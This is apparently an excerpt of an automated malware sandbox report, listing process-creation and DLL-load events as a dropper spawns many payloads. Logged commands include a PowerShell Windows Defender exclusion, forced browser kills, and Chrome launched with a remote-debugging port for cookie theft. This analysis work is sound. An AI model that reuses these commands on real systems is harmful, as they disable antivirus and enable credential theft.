Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Process created: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe "C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIJDGIJJKE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FIJDGIJJKE.exe "C:\Users\user\Documents\FIJDGIJJKE.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe "C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe"
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Process created: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe "C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe "C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe"
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe "C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe"
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe "C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe "C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe "C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe "C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe "C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe "C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe "C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe"
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe "C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe"
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe "C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe"
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe "C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe"
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\random(4).exe	Process created: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe "C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe"	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Process created: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe "C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FIJDGIJJKE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2192,i,12920997312320207026,11927117372627731275,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Documents\FIJDGIJJKE.exe "C:\Users\user\Documents\FIJDGIJJKE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe "C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe "C:\Users\user\AppData\Local\Temp\1028926001\943fedf78d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe "C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe "C:\Users\user\AppData\Local\Temp\1028929001\d76dd796e0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe "C:\Users\user\AppData\Local\Temp\1028930001\e13ae12563.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe "C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe "C:\Users\user\AppData\Local\Temp\1028932001\13f4808de9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe "C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe "C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe "C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe "C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe "C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe	Process created: C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe "C:\Users\user\AppData\Local\Temp\1028925001\9ce3a8a3dc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FIJDGIJJKE.exe "C:\Users\user\Documents\FIJDGIJJKE.exe"
Source: C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Process created: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe "C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe"
Source: C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\LQJwYFm'
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\random(4).exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random(4).exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe	Section loaded: duser.dll	Jump to behavior
